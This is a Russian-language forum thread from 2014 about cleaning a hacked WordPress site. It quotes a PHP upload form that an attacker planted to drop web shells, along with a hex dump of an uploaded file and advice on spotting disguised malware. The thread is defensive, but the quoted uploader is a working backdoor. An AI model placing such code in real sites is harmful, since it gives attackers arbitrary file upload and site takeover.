Вирусы

Я такое ..мм Г не смотрю (да, немного доводилось видеть.). И детям наверное не давал бы ;) А фраза, самая обычная.

У детей уже свои дети ;)

В общем еще нашел прикол

код был в 404 ошибке - так видимо заливали шелл. Потом нашел 90 вирусняков - каспер - трояны - почистил. Натыкал этот хацкер вот такие хернюшки

<?php

if(isset($_POST['Submit'])){

    $filedir = ""; 

    $maxfile = '2000000';



    $userfile_name = $_FILES['image']['name'];

    $userfile_tmp = $_FILES['image']['tmp_name'];

    if (isset($_FILES['image']['name'])) {

        $abod = $filedir.$userfile_name;

        @move_uploaded_file($userfile_tmp, $abod);

  

echo"<center><b>Done ==> $userfile_name</b></center>";

}

}

else{

echo'

<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';

}



?>

В общем это временный файл залитый. Как можно его расшифровать? Код такого вида

4300 0000

Из 16теричной системы перевести в обычную читабельную систему счисления?

А что его расшифровывать - он не зашифрован. Это форма, через которую заливают вирь под видом картинки.

Про 4300 0000 не понял.

это мне понятно, обычная форма загрузки файла - шелл туда впихивал

а вот это тот файл, который залит имеет вид если открыть блокнотом

4300 0000 2f76 6172 2f77 7777 2f6b 7568

6e69 6e61 7669 626f 722f 6461 7461 2f77

7777 2f6b 7568 6e69 2d6e 612d 7669 626f

вот хочу увидить этот код..

Это точно текстовый файл? Или ты бинарник в блокноте открыл :)

Если текстовый, то наверняка должно быть что-то что с ним работает. Файл с формой - не оно. Но может это "что-то" через неё загружаться.

это даже не обязательно текстовый файл, может быть и рисунок.

Да я "бинарник" наверное, открыл блокнотом. И кстати нашел в шаблоне задвоенные рисунки - одинаковые. Но у одного размеры в 4 раза больше.

Мне сказали у меня параноя)

О! Вот это оно. В см - это вирь\шелл\дор. Открой его блокнотом и пролистай. Там может быть код, спрятанный среди другого текст. мусора. А может быть это просто виндовый вирь. Тогда виндовый антивирь (а также вирустотал не помешает)

---------- Добавлено 29.12.2014 в 13:31 ----------

Эта.. а может просто с разными физ. размерами (в писелях в см)?

А то сразу- вирь-вирь :)

да у меня мания)

там файлы разных размеров)

---------- Добавлено 29.12.2014 в 13:53 ----------

в общем. Переустановил вп, переустановил плагины. "Революционный слайдер" заменил. Почистил тему - то что увидел каспер. Надеюсь будет счастье в личной жизни